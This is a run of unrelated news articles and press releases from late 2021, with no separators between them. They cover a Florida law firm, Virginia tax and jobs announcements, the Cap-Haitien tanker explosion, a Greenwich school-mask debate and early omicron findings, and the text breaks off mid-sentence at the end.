law. Jonathan W. Douglas, Partner Jonathan is currently a partner at Battaglia, Ross, Dicus & McQuaid, P.A. and prioritizes fighting for his clients' rights and putting their recovery and well-being at the forefront of their injury claim. Mr. Douglas is a member of the Florida Bar, St. Petersburg Bar Association, Bar of the Federal District Court for the Middle District of Florida , and the District of Columbia. Mr. Douglas began his legal career as an Assistant Public Defender for the Sixth Judicial Circuit. Afterward, he defended national-level, high-profile cases at the Herbert Law Group. He has also served as a civil trial litigator and Partner at Goodis, Thompson & Miller, a leading insurance defense firm in St. Petersburg, representing some of the largest insurers in Florida. A Legacy That Lives On Battaglia, Ross, Dicus & McQuaid, P.A. is Tampa Bay's leading law firm. It was established in 1958 by Anthony S. Battaglia, a founding partner. Anthony Battaglia was known for his bold style and exceptional case preparation. Today, Battaglia's legacy is continued through the attorneys in the firm who are respected for their personalized representation. They have been providing top-notch legal services to individuals and businesses in St. Petersburg, Riverview, and all across the greater Tampa Bay area. The firm proudly upholds its reputation as one of the oldest and respected firms in the Tampa Bay area. "Every Client Is Our Most Important Client" Personal Injury Attorneys McQuaid and Douglas have earned their outstanding reputation through dedication to each client. They dedicate themselves to service and excellence. It's no wonder they are consistently ranked as a top law firm in the area and acknowledged by clients as the best law firm in Tampa Bay. McQuaid and Douglas believe that every client is their most important client. Their loyal Tampa Bay clientele remains so because of their reasonable advice and putting the interest of their clients first. Their legal counsel is so highly sought out because of their commitment to helping every client achieve the best possible outcome in legal matters. For more information about Personal Injury Attorneys McQuaid and Douglas, you can visit their website www.727injury.com or contact the firm at 727-381-2300. Related Images Image 1: 2022 Expertise Award for Best Personal Injury Lawyers in St. Petersburg 2022 Expertise Award for Best Personal Injury Lawyers in St. Petersburg This content was issued through the press release distribution service at Newswire.com. Attachment Governor Northam Continues Thank You, Virginia Tour, Announces Tax Reduction for Working Virginians Unprecedented economic strength mean Virginia can invest for future and cut taxes ~ Governor proposes ending the state grocery tax, fulfilling 2017 campaign promise; providing earned-income tax credit for working people; offering one-time rebates ~ Working people need help, even as many upper-income professionals got ahead during pandemic RICHMONDGovernor Ralph Northam today continued his Thank You, Virginia Tour, announcing that unprecedented economic strength is enabling the Commonwealth to both invest in long-term prioritiesby raising salaries for teachers and law enforcement, funding Historically Black Colleges and Universities at record levels, boosting outdoor recreation, and morewhile also reducing taxes to help working people. The Governor noted that many working people have not experienced the booming national economy that has helped many professionals and office-based workers get ahead and build wealth during the pandemic. When Virginia cuts taxes next year, it should be done in a way that benefits working people, said Governor Northam. Many professionals made it through the pandemic fine, as their work simply moved online. But workers havent been so lucky when their jobs require close contact with other people. Some jobs simply cant move onlinerestaurant workers, early childhood educators, home care attendants, and othersand we all depend on the people who do this work. Virginia can help working people by eliminating the state grocery tax, providing one-time rebates, and giving a tax break to people who are working. Governor Northam is proposing four changes to tax policy: Eliminating the state sales tax on groceries. Governor Northam first proposed eliminating this regressive tax on low-income individuals when he ran for Governor in 2017. Virginias unprecedented economic strength now makes this possible. The state grocery tax is 1.5%. Most states do not tax groceries. This proposal does not affect local revenues. Providing an income tax cut for working families. Governor Northam proposed to make up to 15 percent of the federal earned income tax credit (EITC) refundable for eligible families, which will give a tax break to working families who need it most. The EITC reduces the amount that low- and middle-income working people owe in taxes. Making it refundable means people will get a refund from the state if they are working but earning income below a certain level. The amount depends on income level, marital status, and family size. This program was started at the national level by former President Richard Nixon, a Republican. The Governor proposed a similar plan in 2019. Offering one-time economic growth rebates. The Governor is proposing one-time tax rebates to everyone who files state income taxes in Virginia$250 for individuals and $500 for married couplesso that everyone benefits from the Commonwealths unprecedented economic growth. Low- and middle-income working people will benefit from this the most. Virginia last offered tax rebates in 2019, providing $110 for individual filers and $220 for married couples. Ending accelerated sales tax payments for retailers. When you pay sales tax at a store or online, the retailer collects it for the state, and then forwards the money along to the Commonwealth. But when the economy collapsed in 2008, the state began requiring many retailers to pre-pay these tax payments early before they had even collected the revenue. This placed a burden on retailers, causing them to dip into their own pockets. Governor Northam is proposing to end this system. Together, these plans are expected to reduce state revenues a total of $2.1 billion. Most of this amount is a one-time reduction for the states General Fund, and $419 million is an ongoing obligation. All ongoing tax cuts will directly benefit working people through changes to the EITC and elimination of the regressive state grocery tax. The Governor said his budget proposal also will put $1.7 billion into the Revenue Stabilization Fund, set aside $1 billion for the Virginia Retirement System, and allocate $2.8 billion for capital projects in state government and higher education buildings. Virginia is able to take these steps now because our sound fiscal leadership has shaped a booming economy, said Secretary of Finance Joe Flores. These steps are tools to make sure that working people share in the prosperity. Virginia has been named the best state for business for three years running and we have a remarkably strong economy, but not everyone is benefitting equally, said Delegate Lamont Bagby, chair of the Legislative Black Caucus. This tax plan focuses on Virginians who need help and who have largely not benefited from our strong economy. This is the right way to help working people and provide equity in our tax policy. The Governor made the announcement at The Market at 25th, a community-driven grocery store in Richmonds East End. Virginias Finances Are Strong Under Governor Northam, Virginias financial reserves are at record levels. Governor Northam leaves office proposing more than $3.8 billion in financial reserves. Thats 16.8% of state revenues--and more than eight times the amount Virginia had in the bank when he took office. In 2018, those same reserves stood at just $440 million, so he set a then-ambitious goal to get to 8% during his four-year term. This is unprecedented in Virginia history. Virginia closed Fiscal Year 2021the pandemic yearwith a record surplus: $2.6 billion. Unlike some other states, Virginia managed through the pandemic without cutting services, laying off workers, or borrowing to pay the bills. Virginia has preserved a AAA bond rating since 1938 , longer than any other state. Virginia shares this first place ranking with just 13 other states. When rating agency Fitch reaffirmed Virginias AAA in July 2021, it said: Virginia's 'AAA' bond rating reflects its solid fiscal resources, conservative approach to financial operations and exceptional financial flexibility. The commonwealth's strong fundamental economic profile provides a stable revenue base and solid growth prospects. Virginia also maintains a low long-term liability burden relative to economic resources. Virginia's fundamental economic profile remains strong, with a diverse mix of industries and high wealth. Fitch expects the commonwealth's economy to absorb the negative effects of the pandemic and return to a steady pace of growth over the near term. The commonwealth's long-term economic growth prospects are solid, with above-average population growth and high education levels. # # # Governor Northam Announces UVision USA Corporation to Establish Operation in Stafford, Creating 40 New Jobs Defense contractor to invest $2.2 million in production and training RICHMONDGovernor Ralph Northam today announced that UVision USA Corporation, a developer of unmanned military systems, will invest $2.2 million to establish a production and training center in Stafford County. The company will lease 25,000 square feet of space at the Quantico Corporate Center to fulfill awarded contracts from the U.S. government for the manufacturing and assembly of loitering munitions and will produce its HERO series of systems, which provide advanced military equipment, beginning in mid-2022. Virginia successfully competed with Alabama, Arkansas, Florida, Georgia, Maryland, and Texas for the project, which will create 40 new jobs. Virginia's deep military roots and world-class Port of Virginia are ideal assets for companies like UVision USA," said Governor Northam. "This global company will provide security capabilities for our country. We look forward to the company's future success. Established in 2019, UVision USA Corporation is a wholly owned company of Israel-based UVision Air Ltd that provides military organizations around the globe with precise and effective operational attack capabilities. UVision USA designs and manufactures smart defense equipment systems that use the integration of advanced airborne guidance and sophisticated navigation algorithms. UVision USAs innovative, cost-effective systems are based on cutting-edge technology and 30 combined years of extensive field experience by military professionals, engineers, and its management team. Virginias infrastructure networks, robust talent, and higher education and research institutions have helped advance the unmanned systems industry in the Commonwealth and beyond, said Secretary of Commerce and Trade Brian Ball. Companies like UVision USA have recognized that Virginia is the place to lead in this promising and disruptive technology sector. We thank UVision USA for its commitment to Virginia and look forward to our continued partnership. We are very excited about selecting the Commonwealth to establish our Production and Training Center, said UVision USA Corporation Chief Executive Officer Jim Truxel. We compared numerous locations in Maryland, Georgia, Alabama, Arkansas, Florida, and Texas, but the Stafford County location in Virginia fits our strategic growth goals and is within a short commuter drive from Richmond, Fredericksburg, Manassas, and Arlington. Also, we are in a key position to use The Port of Virginia access for our international logistics. UVision USA will be an active member in the local community, and we plan to network at the state level with Virginias businesses that can produce materials for production of the HERO family of equipment. The Virginia Economic Development Partnership worked with Stafford County, the Fredericksburg Regional Alliance at the University of Mary Washington, and The Port of Virginia to secure the project for Virginia and will support UVisions job creation through the Virginia Jobs Investment Program, which provides consultative services and funding to companies creating new jobs in order to support employee recruitment and training activities. As a business incentive supporting economic development, the Virginia Jobs Investment Program reduces the human resource costs of new and expanding companies. The Virginia Jobs Investment Program is state-funded, demonstrating Virginias commitment to enhancing job opportunities for citizens. The company is also eligible to receive benefits from the Port of Virginia Economic and Infrastructure Development Zone Grant Program. Stafford Countys partnership and investments in infrastructure with Merritt Properties at Quantico Corporate Center and smart technology with the Virginia Innovation Partnership Corporation continues to provide opportunity and prime locations for technology companies like UVision, said Stafford Board of Supervisors Chairman Crystal Vanuch. We look forward to a long-term relationship with UVision as they grow their company. We would like to thank UVision for choosing to locate in Stafford County, said Curry Roberts, President of the Fredericksburg Regional Alliance at the University of Mary Washington. The company will be a valuable member of our robust and diversified defense contracting community. Virginias economy benefits when an international business like UVision USA decides to expand, said Virginia Port Authority Chief Executive Officer and Executive Director Stephen A. Edwards. UVision is known worldwide and needs efficient access to global markets, and that is where The Port of Virginia can provide real, measurable benefits. Our goal is to help UVision capitalize on its investment and grow. We look forward to serving as its international trade gateway for years to come. UVision picked an excellent location for this investment, said Senator Scott A. Surovell. Stafford County is a growing and thriving community with outstanding education and talent. As the Department of Rail and Public Transportation considers plans to bring Metro closer to Quantico, this region is also becoming ever more closely connected to D.C. and the rest of Northern Virginia. I am delighted we are able to bring this economic opportunity to Stafford County, a bright and thriving community with a talented workforce, said Delegate Candi Mundon King. This project displays how our record-breaking investments in the Virginia Jobs Investment Program are bearing fruit and creating jobs that bring economic development directly to communities in the 2nd District. I look forward to UVision joining a host of other companies who have made the wise decision to bring their business to the Stafford region. # # # Governor Northam Announces Medical Technology Company to Expand in Albemarle, Creating 18 New Jobs RIVANNA to invest $260,000 to renovate facility and more than double its workforce RICHMONDGovernor Ralph Northam today announced RIVANNA, an imaging-based medical solutions developer, will invest $260,000 to expand and renovate its facility in Albemarle County. Virginia successfully competed with North Carolina for the project, which will create 18 new jobs. The company has experienced a rapid increase in sales and formed new strategic partnerships with multi-national biotechnology leaders. RIVANNA was also recently awarded several significant federal grants and contract awards, including a contract from the Biomedical Advanced Research and Development Authority, for the design and development of a computer-aided 3D fracture detection and diagnosis product called Accuro XV. Under the contract, the Biomedical Advanced Research and Development Authority will provide $11.6 million over 24 months with options for additional funding to support further development up to $65 million. RIVANNAs expansion in Albemarle County demonstrates the infrastructure, resources, and talent available in Virginia for medical-technology developers, said Governor Northam. We look forward to seeing this home-grown companys far-reaching impact. Medical innovation like this will advance the medical field in Virginia and beyond. Founded in 2010 by graduate students at the University of Virginia and headquartered in Charlottesville, Virginia, RIVANNA is elevating global standards of care through the development and commercialization of imaging-based medical technologies, including BoneVision and BoneEnhance, which optimize ultrasound image acquisition and visualization to provide radiation-free alternatives to X-ray-based imaging modalities. When paired with SpineNav3D AI-Enabled Image Recognition technology, these products offer comprehensive clinician-assistance solutions that improve decision-making, clinician workflows, health outcomes, and patient satisfaction. RIVANNA is privately held and operates an FDA-registered and ISO 13485:2016 certified manufacturing facility where it produces the Accuro product line and related medical equipment and components. The company holds more than 38 global patents and patent applications, protecting its ultrasound-based innovations. The commercialization of its next-generation product platforms will address additional large markets in anesthesia, neurology, hematology, and emergency medicine, representing a $4 billion market opportunity. RIVANNAs medical imaging solutions have the potential to significantly improve human health and longevity, and we are proud to have this innovative company expand in the Commonwealth, said Secretary of Commerce and Trade Brian Ball. Albemarle County offers world-class higher education institutions, research assets, and a skilled talent pipeline to support RIVANNAs mission, and we look forward to our continued partnership with the company. The Virginia Economic Development Partnership has been an important resource throughout our company's growthmarked by our recent expansion to a larger facility in Albemarle County, said RIVANNA co-founder and Chief Executive Officer Will Mauldin, PhD. We appreciate the commitment from the Virginia Job Investment Program as we hire additional personnel and scale RIVANNA's manufacturing capacity to hit design and development milestones related to our next-generation Accuro product platforms. The local biotech community and state and local agency relationships continue to be an instrumental part of RIVANNAs success story and positively affect our mission to elevate the global standard of care. The Virginia Economic Development Partnership worked with Albemarle County and the Central Virginia Partnership to secure the project for Virginia and will support RIVANNAs job creation through the Virginia Jobs Investment Program. The program provides consultative services and funding for companies creating new jobs to support employee recruitment and training activities. As a business incentive supporting economic development, the Virginia Jobs Investment Program reduces the human resource costs of new and expanding companies. The program is state-funded, demonstrating Virginias commitment to enhancing job opportunities for citizens. The Board of Supervisors is proud of the entrepreneurial ecosystem that supports new businesses starting here and is committed to providing resources for helping these businesses grow right here in Albemarle County, said Albemarle County Board of Supervisors Chair Ned Gallaway. RIVANNA provides quality jobs in one of our target industriesbioscience and medical devicesand will be investing in our community to retain those jobs and create new opportunities. RIVANNA is a homegrown business demonstrating very clearly the value of the University of Virginia and its alumni to Virginia and the Charlottesville area, said Senator Creigh Deeds. This investment will invigorate the local economy, and the new jobs will further diversify our workforce. Thanks to the Virginia Economic Development Partnership, Albemarle County, and Governor Northam and his staff for working together to bring to fruition this important investment in bioscience jobs. We are all very excited that a company founded by University of Virginia grad students would choose to stay and expand in our community, said Delegate Rob Bell. By developing and patenting imaging-based medical technologies, RIVANNA gives doctors radiation-free options and improves patient care. We are delighted to have those 18 jobs here in Albemarle County. # # # Honda Research Institute USA is conducting a pilot program in Ohio to evaluate a system that uses GPS coordinates and sensors such as cameras to collect real-time road condition information that can be shared with road operators. Honda is collaborating with the Ohio Department of Transportation and plans to start providing road condition data in early 2022, from Honda vehicles used as part of the pilot program, to help enhance the efficiency of the road maintenance operation in Ohio. Honda Research Institute is developing a road condition monitoring system that uses GPS coordinates and sensors such as cameras to collect real-time data that will allow road operators to identify the location of lane markings that need repair. Honda Research Institute also is exploring how connected vehicles can access the anonymized data to adjust Honda and Acura Advanced Driver Assistance Systems (ADAS) perception settings, and if needed, warn drivers if lane markings are faded or are in need of repair. Maintaining good road conditions helps keep everyone sharing the road safe. Real-time, high-accuracy roadway data captured from connected vehicles has the potential to improve the process of identifying, reporting, and more quickly repairing hazardous road conditions. Paritosh Kelkar, scientist at Honda Research Institute USA and project leader of the road condition monitoring system When monitoring lane marking conditions, the system visually classifies lane lines to the left and right of the vehicle using four color codes: green, yellow, grey and red. Green and yellow classifications respectively indicate ideal to good lane marking conditions. The system displays grey classifications when there are no lane lines and red if the lane markings need repair. That road condition information, including longitude and latitude coordinates along with relevant images and video clips, is captured by the vehicle, anonymized, and then streamed to a secure platform for analysis. Road operators can access this platform to identify the location, type and severity of the road condition and hazard information, and obtain a still image and video. We regularly inspect our roadways throughout Ohio and act quickly to address any issues, like faded or damaged pavement markings, that are identified. Its a labor-intensive process. Good pavement markings are important to the drivers of today and the vehicles of tomorrow. Were excited to work with Honda to improve the process. Ohio Department of Transportation Director Jack Marchbanks In addition to lane markings, Honda Research Institute plans to expand the systems application to monitor other types of road conditions. It hopes the system can prove useful in keeping all roads safer for everyone. Zero-emission aviation powertrain developer ZeroAvia (earlier post) and De Havilland Aircraft of Canada Limited have entered into a Memorandum of Understanding (MOU) to develop a line-fit and retrofit program for De Havilland Canadas aircraft models, using hydrogen-electric propulsion in both new and in-service aircraft. As part of the MOU, De Havilland Canada will be issued options to purchase 50 ZeroAvia hydrogen-electric engines. These options will be confirmed once a definitive agreement has been completed between De Havilland Canada and ZeroAvia. The companies intend to work together on a service bulletin for the Dash 8-400 type certificate offering ZeroAvias hydrogen-electric engine as a line-fit option for new aircraft, as well as developing an OEM-approved retrofit program for in-service aircraft. This program will target the use of ZeroAvias 2MW+ powertrain (ZA2000) for Dash 8-400 aircraft. The Dash 8-400 is one of the worlds most reliable turboprop aircraft with more than 625 delivered to customers. The global fleet of Dash 8-400 aircraft has logged more than 11 million flight hours and transported more than 550 million passengers. As part of the program, ZeroAvia will develop a flight demonstrator, with De Havilland Canadas support, using a Dash 8-400 aircraft to aid certification and showcase the operational and commercial potential of the engine. The intention is to identify a suitable existing route utilising the aircraft and aim for entry into service within the next five years. ZeroAvia and De Havilland Canada intend to jointly market aircraft powered by the hydrogen-electric engines to operators with power-by-the-hour (PBH) support. In October, ZeroAvia announced a development collaboration with Alaska Air Group, the parent company of Alaska Airlines, for a hydrogen-electric powertrain capable of flying 76-seat regional aircraft in excess of 500 nautical miles, starting with initial deployment into a full-size Dash 8-400 aircraft. ZeroAvia expects to fly a 19-seat aircraft using its ZA600 powertrain in the coming weeks in a hybrid configuration (one conventional engine, one hydrogen-electric) before flying the same aircraft using only hydrogen-electric engines in 2022 and building to certification by 2024. On its ZA2000 program, ZeroAvia aims to have full thrust ground demonstrations of its 1.8MW engine variant by the end of 2022. From there, the company plans certification of its ZA2000 powertrain to support 40-80 seat aircraft with a potential range in excess of 700 nautical milesabout the distance from Toronto to Atlantaby 2026, and eventually extending into aircraft up to 90 seats by 2027. CAP-HAITIEN, Haiti (AP) A gasoline tanker overturned and exploded in northern Haiti, unleashing a fireball that swept through homes and businesses on its way to killing at least 75 people Tuesday, according to local authorities, in the latest tragedy to befall the Caribbean nation. The blast occurred shortly after midnight in Cap-Haitien, Haiti's second largest city, along the northern coast. Hours later, buildings and overturned vehicles were still fuming as firefighters covered the burned bodies of the young victims in white sheets and loaded them onto the back of a construction truck. Hundreds of Haitians who aren't easily shocked amid their country's multiple misfortunes looked on from rooftops in disbelief at the loss of so much life. Prime Minister Ariel Henry, himself a physician, visited a hospital where victims bandaged head to toe were fighting for their lives amid a shortage of medical supplies and health workers. Its horrible what happened, said Patrick Almonor, deputy mayor of Cap-Haitien, who said late Tuesday that 75 people had died.. We lost so many lives. Among survivors who spoke with the prime minister was Riche Joseph, who spent hours on the floor of Justinien University Hospital, the city's largest, connected to an IV while he waited for a bed. His sister, Bruna Lourdes, said her brother stepped out of the house late at night where they lived together with their mother to look for something to eat. When she heard the explosion, she rushed down from the hillside shantytown in panic. Im praying to God that he won't take his life, said Lourdes, who is studying to be a nurse and plans to spend the night by her brother's beside to offer whatever assistance she can to the overstretched medical staff. Early reports indicate that the tanker was trying to avoid an oncoming motorcycle when it flipped. Onlookers then rushed to the scene with buckets to scoop up what they could of the tanker's valuable cargo, likely for resale on the black market, as the fuel spilled toward a nearby pile of smoldering trash. It was after midnight and I heard a loud noise so I asked one of my boys to go and look. He told me a gasoline truck exploded, said Abraham Joanis, 61, as he carried around a guitar rescued unscathed from the charred remains of his home, one of 50 gutted by the blaze. Right away, I left with my family, and I headed the other way to the bridge," he added. Contributing to the high death toll is the desperation that has forced impoverished Haitians in recent months to scramble for gasoline due to severe shortages that have shuttered gas stations, sent fuel prices on the black market spiraling and forced businesses to close as the U.S. and Canadian governments warn their citizens to leave while they still can. The shortages are the latest manifestation of a society that has been on the brink since the July 7 assassination of President Jovenel Moise and a 7.2 magnitude earthquake a few weeks later that killed more than 2,200 people and destroyed tens of thousands of homes. The country of more than 11 million people also has been hit by a spike in gang-related kidnappings, including 17 people with a U.S. missionary organization who were abducted in mid-October. Five of them have been released but another 12 are still being held. Its terrible what our country has to go through, said Dave Larose, a civil engineer who works in Cap-Haitien. Hospitals in Haiti's second largest city seemed ill equipped to deal with the disaster and 15 victims had to be evacuated by air to hospitals in the capital, Port-au-Prince. Some of the burn victims were being treated by teams from Doctors without Borders. Surviving and recovering from a severe burn is a difficult process that requires specialized medical care, often for weeks or months," Jean-Gilbert Ndong, the group's medical coordinator. "We will continue to receive patients according to the needs and our capacity. Burn victims at Justinien hospital screamed in agony as they pleaded for basic supplies and more medical staff. Henry, wearing a biohazard suit, clasped his hands and leaned over to console one man collapsed on the hospitals concrete floor because there were not enough beds in the historic citys largest hospital. The prime minister promised more help in the form of field hospitals and a contingent of medical professionals. But minutes after he left the facility, five more patients died. The entire Haitian nation is grieving, Henry said on Twitter while declaring three days of national mourning. It is with a torn heart that I see the critical condition of some of our compatriots admitted to this facility. ___ Sanon reported from Port au Prince, Haiti. AP Writer Joshua Goodman contributed to this report from Miami. The Miss America competition will be held on Dec. 16 here in Connecticut, and the recently crowned Miss Connecticut, Sapna Raghavan, will take the stage to vie for the title. Here are 5 things to know about Miss Connecticut 2021 ahead of the big competition: She will be competing in her home state Raghavan, who graduated from Ellington High School and Rensselaer Polytechnic Institute, is competing at Mohegan Sun, which recently entered an agreement to host the next three Miss America pageants. She will be performing Indian dance for the first time in the competition Raghavan is a classical Indian dancer and will be the first contestant to perform this type of dance as her talent during Miss America. "I have danced this my whole life and I cannot wait to show everyone my culture," she said. Contributed by Claire Marchand She is the second woman to hold two Connecticut titles Raghavan is a former Miss Greater Rockvilles Outstanding Teen (she won in 2015), which makes her only the second woman to have held both the Miss Connecticuts Outstanding Teen title and Miss Connecticut. "I had no idea Miss Greater Rockville was even associated with Miss Connecticut and Miss America. I went there for a scholarship and left with a title," she said. "I am not that girl that has been competing her whole life and that's really special too. No matter what amount of time you put in the organization, it makes a difference and changes your life." Contributed by Claire Marchand She is representing ethnic and gender diversity "If the swimsuit competition was still part of this, I wouldn't have done it," said Raghavan. Raghavan refers to a change that was made in 2019 when Miss America transformed from a "pageant" to a "competition" focused on scholarship, social impact, talent and empowerment and got rid of the swimsuit portion. "Were experiencing a cultural revolution in our country with women finding the courage to stand up and have their voices heard on many issues. Miss America is proud to evolve as an organization and join this empowerment movement, said Gretchen Carlson, Chair of the Board of Trustees, in a press release back in 2019. After winning Miss Connecticut back in April, Raghavan has been promoting her social impact initiative by attending events across the state to spread her message. Embracing diversity and overcoming adversity to Raghavan means focusing on the confidence gap and biases that she believes exist today by teaching course skills to grow women's confidence and amplify the voice of other women. "Being able to promote my social impact [initiative], which is embracing diversity and overcoming adversity, has been very special. It does not only apply to ethnic diversity but gender diversity too," she said. "Looking at the next 100 years, we need to ask ourselves, what are the tools and skills as women that we can learn to be a stronger demographic?" She will be competing on the 100th Anniversary for Miss America "Not a lot of companies last 100 years and the fact they are looking to innovate for the next 100 is one of the reasons I wanted to compete for Miss America. They have made so many changes in the times and continue to stay relevant," said Raghavan. The winner of the competition usually wins a $50,000 scholarship, but for the 100th anniversary, a $100,000 scholarship will be awarded to the winner. "Mohegan has a long history of educating their youth and taking care of the culture and diversity making sure that education is a top priority," said Miss America Organization President & CEO, Shantel Krebs. "Mohegan Sun was a natural fit to partner with a women empowerment organization who has the same mission." CHICAGO (AP) Chicago Public Schools and the Chicago Teachers Union have reached a $9.25 million settlement in two long-running federal lawsuits stemming from the layoffs of hundreds of Black educators at underperforming schools. About $5.25 million of the settlement would be distributed among 413 current and former union members under the terms of the deal, which is subject to court approval and up for a vote at Wednesdays Chicago Board of Education meeting. GREENWICH A push for a proposed ordinance to make mask use optional in town schools was rejected by the Representative Town Meeting but not before a debate over the merits of mask use and whether the town legislative body has the authority to overrule an executive order from the governor. The proposed ordinance from RTM District 8 member Carl Higbie would have called for the towns public and private schools to end the states COVID-related mandate requiring students to wear masks and for the town to not enforce state or federal orders, regulations or statutes requiring such coverings for healthy children. But at the RTMs meeting Monday night, Moderator Tom Byrne ruled the proposed ordinance was not in legal order under town rules, based on an opinion he got from the towns legal department. As a matter of parliamentary procedure, your RTM moderator cannot accept a motion that would have the RTM take action in excess of its authority, Byrne said. The towns legal department, Byrne said, also told him the appeal was not in order and therefore could not be brought before the RTM. Higbie unsuccessfully tried to appeal Byrnes decision and sent the ordinance for review by the RTMs Legislative and Rules Committee. But the appeal failed in a vote of 43 to 141, with seven abstentions. Higbie did not run for reelection to the RTM. The meeting on Monday night was his last as the term came to an end. Byrne, who has been on the RTM since 1988 and served as moderator since 1996, said this was the first time in his tenure that a ruling on a legal order had been appealed. Higbie said he didnt feel it was right for one person, in this case the town attorney, to dictate what could be debated and voted upon by the RTM. It doesnt make sense to me, he told the RTM. It doesnt seem very democratic. I dont believe the order from the state is in legal order because I dont think you can force somebody to put something over their face. This is about choice, and I want the choice of the people here tonight to make that decision. The federal Centers for Disease Control and Prevention recommends universal indoor masking in K-12 schools, regardless of vaccination status. Consistent and correct mask use is especially important indoors and in crowded outdoor settings when physical distancing is difficult, according to the CDC website. At the meeting, Assistant Town Attorney Aamina Ahmad told the RTM the town could not challenge an executive order from Gov. Ned Lamont. The authority to issue binding orders and regulations about mask mandates in schools, she said, lies with the state Department of Education and the state Department of Public Health as well as the town Board of Education not with the RTM. The way for somebody to challenge the executive orders would be to go to court and challenge the governors authority to issue those executive orders, Ahmad said. The executive orders have the effect and force of law, and they have been upheld by trial courts in the state. Ahmad also pointed out that parents can apply for mask exemptions for their children. Higbie said his proposed ordinance was not anti-mask; he said it was aimed at empowering parents. This item is essentially designed to give parents a choice about whether or not your kids are masked when they attend school, he said. It does not ban them. It does not tell you that you have to use them. It says parents have the choice with them and their medical provider. That is it. But many of the speakers who supported Higbies proposed appeal criticized the mask requirement for students. We have to stand up for whats right, legally and ethically and in every sense of the word: Masking our children is wrong, said Joe Solari, a town resident and former RTM member. Its wrong to force masks on children. Kara Philbin, who unsuccessfully ran for the Board of Education last month as an independent third-party candidate, said masks for children are an infringement of their constitutional rights and bodily autonomy. I would encourage you to think about being brave and not necessarily being beholden to some arbitrary rules when you know that all of the science and all of the information about masks says that it is harmful to our children, Greenwich Patriots founder Jackie Homan told the RTM. When there is a risk to our children, there needs to be a choice, whether its in legal order or not, you need to consider the absolute unusual circumstances around the situation and vote for humanity. But the CDC strongly recommends the use of masks for children to protect them against COVID-19. And RTM District 10 member Svetlana Wasserman pushed back on the claims from the anti-mask speakers. The petitioners think that they know better than all the epidemiologists and infectious disease control specialists working at our nations premier health agency, Wasserman said. Theyre asking us on the RTM to override the guidelines that scientists and doctors, whose job it is to protect public health, have recommended, she said. While there may be some of us on the RTM with expertise on infectious diseases, were overall a body of laypeople. We dont have the expertise to overrule the judgment of experts and neither do the petitioners. Decisions about masks for children also impact teachers, school staff and family members, she said. A change in the mask policy would be putting our entire community at risk with the omicron variant of COVID-19 spreading, Wasserman said. kborsuk@greenwichtime.com CAP-HAITIEN, Haiti (AP) Nelly Joseph picked through the twisted metal roofing, overturned furnishings and rubble of her charred home Wednesday, unsure of where her dead son had been buried or where she would sleep after blasts from a flipped gas tanker destroyed their house. Late Monday night, Joseph heard a loud noise and got out of bed. She heard people saying a gas truck had crashed, so she grabbed her identification card and went out to join them. With fuel in short supply all across Haiti, some neighbors in the northern city of Cap-Haitien saw a chance to scoop up valuable spilled gasoline. Then the first explosions occurred. Her son Josue Junior Julemis, 36, hustled two of his children to safety. Then he returned to get his identification card from their home. Thats when a much stronger explosion destroyed the three-room house they shared, blackening its walls and blowing off the roof. Josephs son was burned all over his face and body, she said. He died at the hospital. His wife and 14-year-old daughter were burned too and hospitalized. The city buried his body in a mass grave, but Joseph doesnt know where. He was one of at least 75 people killed in the explosion, said Jean-Henri Petit, coordinator of the civil protection agency. He was a great guy, Joseph said through tears. Whenever Im sick he pays for me at the hospital. Now he is gone, if I die I dont have anyone to bury me. I lost everything, said the 56-year-old who sells peanut butter spread on cassava in the street. Now Im on the streets (with) nowhere to sleep or stay. On Wednesday, residents continued to pick through charred vehicles and buildings adjacent to the tanker trucks skeleton. Holding rags to their noses, some peeked under a white sheet draped over a body. While most of the explosion's victims were buried in a mass grave at a local cemetery, others were interred Wednesday in individual graves with distraught relatives present. Isaac Besa, a cemetery director in Cap-Haitien, said bodies of the victims were continuing to arrive at cemeteries after a justice of the peace approved the removal of the bodies. The explosion battered the concrete three-story facade of the building that separated Josephs home from the street. One side had housed a small shop selling soft drinks, the other housed a business selling cement for construction. Early reports indicate that the tanker was trying to avoid an oncoming motorcycle when it veered and flipped early Tuesday. Onlookers then rushed to the scene with buckets to collect what they could of the tankers cargo, likely for sale on the black market, as the fuel drained toward a nearby pile of smoldering trash. Prime Minister Ariel Henry, himself a physician, visited a hospital Tuesday as victims bandaged head to toe were fighting for their lives amid a shortage of medical supplies and health workers in an impoverished nation that has been bombarded by disasters in recent months riots, a wave of kidnappings, a powerful earthquake that killed more than 2,200 people and the July 7 assassination of the president. The entire Haitian nation is grieving, Henry said on Twitter while declaring three days of national mourning. It is with a torn heart that I see the critical condition of some of our compatriots admitted to this facility. ___ Associated Press journalist Pierre-Richard Luxama reported this story in Cap-Haitien and AP writer Evens Sanon reported from Port au Prince, Haiti. AP writer Christopher Sherman in New York contributed to this report. JOHANNESBURG (AP) The omicron variant is offering more hints about what it may have in store as it spreads around the globe: A highly transmissible virus that may cause less severe disease, and one that can be slowed but not stopped by todays vaccines. An analysis Tuesday of data from South Africa, where the new variant is driving a surge in infections, suggests the Pfizer vaccine offers less defense against infection from omicron and reduced, but still good, protection from hospitalization. The findings are preliminary and have not been peer-reviewed the gold standard in scientific research but they line up with other early data about omicron's behavior, including that it seems to be more easily spread from person to person. The spread can be seen in Britain, the United States and Denmark, where confirmed omicron cases are increasing at a worrisome pace, said Dr. Jacob Lemieux, who monitors variants for a research collaboration led by Harvard Medical School. Omicron is moving extraordinarily fast, faster even than the most pessimistic among us thought it was going to move, Lemieux said. During past waves of the pandemic, the U.S. could look to Europe and Britain for an early signal of what was coming, Lemieux said. With omicron, it seems to be happening everywhere all at once with extremely rapid kinetics. It's unclear whether omicron's rapid spread will overwhelm hospitals. In South Africa, although case numbers are rising, hospital admissions for adults diagnosed with COVID-19 are 29% lower compared to the wave the country experienced in mid-2020, after adjusting for vaccination status, according to the new analysis. Still, some experts cautioned that it's too soon to draw conclusions since the variant is quite new and hospitalizations can lag weeks behind infections. When omicron reaches broader populations more useful information will emerge, said Dr. David Dowdy, an infectious disease epidemiologist at Johns Hopkins Bloomberg School of Public Health. To date, omicron has disproportionately infected young adults people who probably have more social contacts and are more likely to attend large gatherings, Dowdy said. Young adults may be more likely to be sick without knowing it, have more intense exposures and experience milder disease, he said. Our society needs to learn how to wait, rather than either panicking or dismissing early findings, Dowdy said. U.S. health officials estimate that a small, but growing proportion of new COVID-19 infections are due to omicron, and that the rise is particularly dramatic in some places. Two weeks ago, omicron accounted for less than 0.5% of the coronaviruses that were genetically sequenced in the U.S. That rose to about 3% last week, the Centers for Disease Control and Prevention reported Tuesday. But it varies from place to place, and is as high as 13% in the New York/New Jersey area, according to the agency. The 